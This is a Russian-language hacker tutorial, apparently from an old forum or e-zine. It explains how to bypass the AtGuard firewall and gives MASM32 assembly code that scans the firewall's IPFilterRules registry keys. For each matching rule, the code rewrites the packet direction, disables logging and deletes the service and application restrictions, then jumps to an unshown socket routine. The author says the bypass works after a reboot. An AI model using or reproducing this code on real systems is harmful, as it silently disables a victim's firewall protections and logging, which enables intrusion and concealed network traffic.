Все начиналось с того, что я однажды родился. Я очень скоро узнал, что все на свете мне нельзя. Нельзя похачить мне сервак, нельзя использовать мне Napster, и нельзя на километр приближаться к Биллу Гейтсу ..... =)
Как сказал Гагарин - ПОЕХАЛИ !
Сегодня мой маленький друг я расскажу тебе сказку о .... Хотя ты уже должен был бы подрасти, если конечно читал мои прошлые статьи =). Ну да ладно, сегодня я поведую вам о том, как обойти AtGuard-a ( есть такой firewall) ). Достаточно известная вещь и многие им пользуются. В статье я приведу пример своего кода на языке АССЕМБЛЕР, а именно MASM32. Хочу сразу сказать, что учу я его не давно, так же как и WIN API функции, и если вы вдруг найдете у меня ошибки, то сообщите мне о них. И вот еще,не надо мне писать, что мой код не оптимизирован, я это сам знаю, это было сделанно для простоты его понимания.
AtGuard в своей работе очень активно использует реестр, ( я это выяснил с помощью утилиты Regmon ) все свои настройки он содержит там, в том числе и FireWall Rule. В реестре это выглядит примерно так:
Код:
-IPFilterRules
|
|---Rule0
|---Rule1
|---Rule2
|---Rule3
|---Rule4В каждом из этих RuleXX содержится информация о том, какие пакеты могут проходить через firewall, а какие нет. Основные вещи которые нас интересуют в этих Rule:
-- RuleAction ( запрет/разрешение на прохождение пакетов )
и
-- RuleProtocol ( отвечает за используемый протокол для этого Rule )
Если при сканирование этих параметров мы встретим RuleAction раным 2, а RuleProtocol равным 6 то это то что на надо ! Далее, мы изменяем/стираем некоторые значения, для того что бы наши пакеты могли проходить сквозь firewall.А вот собственно и сам код:
Код:
.data
RuleAction db "RuleAction",0 ; см. выше
RuleDirect db "RuleDirection",0 ; Направление пакетов
RuleProt db "RuleProtocol",0 ; см. выше
RuleLog db "RuleLogging",0 ; Запись в лог
RuleLocal db "RuleLocalServiceObject",0 ; Local Service
RuleRemote db "RuleRemoteServiceObject",0 ; Remote Service
RuleApp db "RuleApplicationObject",0 ; Какая программа это правило использует
dwRuleDir dd 00000003H
dwRuleLog dd 00000000H
ReeFltPath db "SoftwareWRQIAMFirewallObjectsIPFilterRules",0
;Путь по дефаулту до firewalla в реестре
dwIndex dd 0
lpszName db 50 dup(?)
dwNameLen dd SIZEOF lpszName
NewKey dd ?
ReeSizeDW dd ?
ReeGotcha dd ?
phKey dd ?
lpdwDisp dd ?
ReeSizeDW dd ?
DWSize equ 4
.code
;
; Открываем ключ в реестре ..... IPFilterRules
;
invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, ADDR ReeFltPath, NULL,
KEY_ALL_ACCESS, ADDR phKey
.IF eax == ERROR_SUCCESS
;
; Функиця перечисляет подключи указанного открытого ключа ( Rule1, Rule2 .... )
;
Recycle:
mov dwNameLen,50
invoke RegEnumKeyEx, phKey, dwIndex, ADDR lpszName,
ADDR dwNameLen, NULL, NULL, NULL, NULL
.IF eax != ERROR_NO_MORE_ITEMS
inc dwIndex
;
; Открываем найденный ключ
;
FuckGuard:
invoke RegOpenKeyEx, phKey, ADDR lpszName, NULL, KEY_ALL_ACCESS, ADDR NewKey
.IF eax == ERROR_SUCCESS
mov eax,REG_DWORD
mov lpdwDisp,eax
;
; и проверяем значения
;
invoke RegQueryValueEx, NewKey, ADDR RuleAction, NULL, ADDR lpdwDisp,
ADDR ReeGotcha, ADDR ReeSizeDW
mov eax,ReeGotcha
.IF eax == 2
invoke RegQueryValueEx, NewKey, ADDR RuleProt, NULL, ADDR lpdwDisp,
ADDR ReeGotcha, ADDR ReeSizeDW
mov eax,ReeGotcha
.IF eax == 6
;
; ( MessageBox тут для дебага =)
;
invoke MessageBox, NULL, ADDR lpszName, ADDR AppName, MB_OK
;
; Если нам все подошло, то немного отредактируем некоторые значени ..
;
invoke RegSetValueEx, NewKey, ADDR RuleDirect, NULL, REG_DWORD_LITTLE_ENDIAN,
ADDR dwRuleDir,DWSize
invoke RegSetValueEx, NewKey, ADDR RuleLog, NULL, REG_DWORD_LITTLE_ENDIAN,
ADDR dwRuleLog,DWSize
invoke RegDeleteValue, NewKey, ADDR RuleLocal
invoke RegDeleteValue, NewKey, ADDR RuleRemote
invoke RegDeleteValue, NewKey, ADDR RuleApp
invoke RegCloseKey, NewKey
invoke RegCloseKey, phKey
jmp InitSocket
;
; и на выход
;
.ENDIF
.ENDIF
.ENDIF
invoke RegCloseKey, NewKey
;
; Если ничего не нашли в одном из Rule то идем на следующий
;
jmp Recycle
.ENDIF
invoke RegCloseKey, phKey
.ENDIF[+] Я рад что работает =)
[-] Почему то все начинает работать только после ребута
Сообственно говоря это все.
0.
..Страница: 1.